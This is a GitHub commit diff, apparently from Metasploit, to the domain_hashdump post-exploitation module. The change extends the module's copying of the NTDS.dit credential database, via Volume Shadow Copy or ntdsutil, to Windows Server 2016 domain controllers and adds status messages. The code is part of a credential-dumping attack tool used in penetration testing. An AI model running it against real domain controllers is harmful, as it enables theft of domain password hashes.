Skip to content

Commit ad98c9c

Browse files
David Maloneybwatters-r7
authored andcommitted
fix Windows server 2016 support for domain_hashdump
The domain hashdump psot module should now work against Server 2016 DCs.
1 parent 80b381c commit ad98c9c

File tree

1 file changed

+19
-11
lines changed

1 file changed

+19
-11
lines changed

modules/post/windows/gather/credentials/domain_hashdump.rb

Lines changed: 19 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,7 @@ def initialize(info={})
3131

3232
def run
3333
if preconditions_met?
34+
print_status "Pre-conditions met, attempting to copy NTDS.dit"
3435
ntds_file = copy_database_file
3536
unless ntds_file.nil?
3637
file_stat = client.fs.file.stat(ntds_file)
@@ -57,15 +58,15 @@ def run
5758

5859
def copy_database_file
5960
database_file_path = nil
60-
if start_vss
61-
case sysinfo["OS"]
62-
when /2003| \.NET/
63-
database_file_path = vss_method
64-
when /2008|2012/
65-
database_file_path = ntdsutil_method
66-
else
67-
print_error "This version of Windows is unsupported"
68-
end
61+
case sysinfo["OS"]
62+
when /2003| \.NET/
63+
print_status "Using Volume Shadow Copy Method"
64+
database_file_path = vss_method
65+
when /2008|2012|2016/
66+
print_status "Using NTDSUTIL method"
67+
database_file_path = ntdsutil_method
68+
else
69+
print_error "This version of Windows is unsupported"
6970
end
7071
database_file_path
7172
end
@@ -99,11 +100,15 @@ def ntdsutil_method
99100

100101

101102
def preconditions_met?
102-
unless is_admin?
103+
if is_admin?
104+
print_status "Session has Admin privs"
105+
else
103106
print_error "This module requires Admin privs to run"
104107
return false
105108
end
106-
unless is_domain_controller?
109+
if is_domain_controller?
110+
print_status "Sessions is on a Domain Controller"
111+
else
107112
print_error "This does not appear to be an AD Domain Controller"
108113
return false
109114
end
@@ -144,6 +149,9 @@ def session_compat?
144149
end
145150

146151
def vss_method
152+
unless start_vss
153+
fail_with(Failure::NoAccess, "Unable to start VSS service")
154+
end
147155
location = ntds_location.dup
148156
volume = location.slice!(0,3)
149157
id = create_shadowcopy("#{volume}")

0 commit comments

Comments
 (0)